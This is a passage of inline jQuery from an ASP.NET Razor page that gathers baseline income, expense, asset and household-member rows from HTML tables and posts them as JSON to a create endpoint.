"/baseline/other/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } function getModel() { return ({ BaselineIncomeVM: getBaselineIncomesList(), BaselineExpensesVM: getBaselineExpenses(), BaselineAssetsList: getBaselineAssetsList(), BaseLineInterventionList: getBaselineInterventionList() }); } function getBaselineIncomesList() { var IncomeList = []; $("#tblIncome tbody tr").each(function () { const groupid = $(this).find("td:eq(0)").find("input[name='GroupId']").val(); const baselineid = $(this).find("td:eq(0)").find("input[name='BaselineId']").val(); const memberid = $(this).find("td:eq(0)").find("input[name='MemberId']").val(); const fiscalYear = $(this).find("td:eq(0)").find("input[name='FiscalYear']").val(); const collectionDate = $(this).find("td:eq(1)").html(); const categoryid = $(this).find("td:eq(2)").find("input[name='CategoryId']").val();/*$(this).find("td:eq(2)").html();*/ const harvestingProductionQuantity = $(this).find("td:eq(3)").html(); const consumptionQuantity = $(this).find("td:eq(4)").html(); const lossQuantity = $(this).find("td:eq(5)").html(); const salesQuantity = $(this).find("td:eq(6)").html(); const investment = $(this).find("td:eq(7)").html(); const totalSalesAmount = $(this).find("td:eq(8)").html(); const pointOfSelling = $(this).find("td:eq(9)").html(); const tradersName = $(this).find("td:eq(10)").html(); const collectionDateNepali = $(this).find("td:eq(11)").html(); IncomeList.push({ BaselineId: $('#baselineId').val(), GroupId : '@Model.MemberDetailView.GroupId', MemberId: '@Model.MemberDetailView.Id', DistrictId :'@Model.MemberDetailView.DistrictId', CollectionDate: collectionDate, CategoryId: categoryid, HarvestingProductionQuantity: harvestingProductionQuantity, ConsumptionQuantity: consumptionQuantity, LossQuantity: lossQuantity, SalesQuantity: salesQuantity, Investment: investment, TotalSalesAmount: totalSalesAmount, PointOfSelling: pointOfSelling, TradersName: tradersName, FiscalYear: fiscalYear, CollectionDateNepali: collectionDateNepali }); }); return IncomeList; } function getBaselineExpenses() { var ExpensesList = []; $("#tblExpenses tbody tr").each(function () { const groupid = $(this).find("td:eq(0)").find("input[name='GroupId']").val(); const baselineid = $(this).find("td:eq(0)").find("input[name='BaselineId']").val(); const memberid = $(this).find("td:eq(0)").find("input[name='MemberId']").val(); const fiscalYear = $(this).find("td:eq(0)").find("input[name='FiscalYear']").val(); const quadtrimester = $(this).find("td:eq(1)").html(); const commodity = $(this).find("td:eq(2)").find("input[name='Commodity']").val(); const category = $(this).find("td:eq(3)").find("input[name='Category']").val(); const expenseHead = $(this).find("td:eq(4)").find("input[name='ExpenseHead']").val(); const unit = $(this).find("td:eq(5)").html(); const expenseAmount = $(this).find("td:eq(6)").html(); const expenseDate = $(this).find("td:eq(7)").html(); const expenseDateNepali = $(this).find("td:eq(8)").html(); ExpensesList.push({ BaselineId: $('#baselineId').val(), GroupId : '@Model.MemberDetailView.GroupId', MemberId: '@Model.MemberDetailView.Id', DistrictId :'@Model.MemberDetailView.DistrictId', FiscalYear: fiscalYear, Quadtrimester: quadtrimester, Commodity: commodity, Category: category, ExpenseHead: expenseHead, Unit: unit, ExpenseAmount: expenseAmount, ExpenseDate: expenseDate, ExpenseDateNepali:expenseDateNepali }); }); return ExpensesList; } function getBaselineAssetsList() { var baselineAssetsList = []; $("#tblAssets tbody tr").each(function () { const assetsId = $(this).find("td:eq(0)").find("input[name='AssetsId']").val(); const unitId = $(this).find("td:eq(1)").find("input[name='UnitId']").val(); const quantity = $(this).find("td:eq(2)").html(); const price = $(this).find("td:eq(3)").html(); const ownershipSelfId = $(this).find("td:eq(4)").find("input[name='OwnershipSelfId']").val(); const loan = $(this).find("td:eq(5)").html(); const baselineId = $('#baselineId').val(); baselineAssetsList.push({ GroupId : '@Model.MemberDetailView.GroupId', MemberId: '@Model.MemberDetailView.Id', DistrictId :'@Model.MemberDetailView.DistrictId', BaselineId: $('#baselineId').val(), AssetsId: assetsId, UnitId: unitId, Quantity: quantity, Price: price, OwnershipSelfId: ownershipSelfId, Loan: loan }); }); return baselineAssetsList; } function getBaselineInterventionList(){ var interventionList = []; $("#tblIntervention tbody tr").each(function () { const groupid = $(this).find("td:eq(0)").find("input[name='GroupId']").val(); const memberid = $(this).find("td:eq(0)").find("input[name='MemberId']").val(); const firstname = $(this).find("td:eq(0)").html() const lastname = $(this).find("td:eq(1)").html(); const relationshiptohouseholdhead = $(this).find("td:eq(2)").find("input[type='hidden']").val(); const age = $(this).find("td:eq(3)").html(); const gender = $(this).find("td:eq(4)").html(); const educationstatus = $(this).find("td:eq(5)").html(); const occupationId = $(this).find("td:eq(6)").find("input[name='OccupationId']").val(); const foreignEmploymentId = $(this).find("td:eq(7)").find("input[name='ForeignEmploymentId']").val(); const income = $(this).find("td:eq(8)").html(); const saving = $(this).find("td:eq(9)").html(); const bankId = $(this).find("td:eq(10)").find("input[name='BankId']").val(); const serviceTypeId = $(this).find("td:eq(11)").find("input[name='ServiceTypeId']").val(); const remarks = $(this).find("td:eq(12)").html(); const baselineId = $('#baselineId').val(); interventionList.push({ BaselineId: $('#baselineId').val(), GroupId : '@Model.MemberDetailView.GroupId', MemberId: '@Model.MemberDetailView.Id', DistrictId :'@Model.MemberDetailView.DistrictId', FirstName: firstname, LastName: lastname, RelationshipToHouseholdHead: relationshiptohouseholdhead, Age: age, Gender: gender, EducationStatus: educationstatus, OccupationId: parseInt(occupationId), ForeignEmploymentId: parseInt(foreignEmploymentId), Income: income, Saving: saving, BankId: parseInt(bankId) , ServiceTypeId: parseInt(serviceTypeId), Remarks: remarks }); }); return interventionList; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); // window.location = "/groups"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); function deleteRow(e) { $(e).closest("tr").remove(); }; </script> <style> select { font-size: 1.3em; padding: 10px; } </style>
Save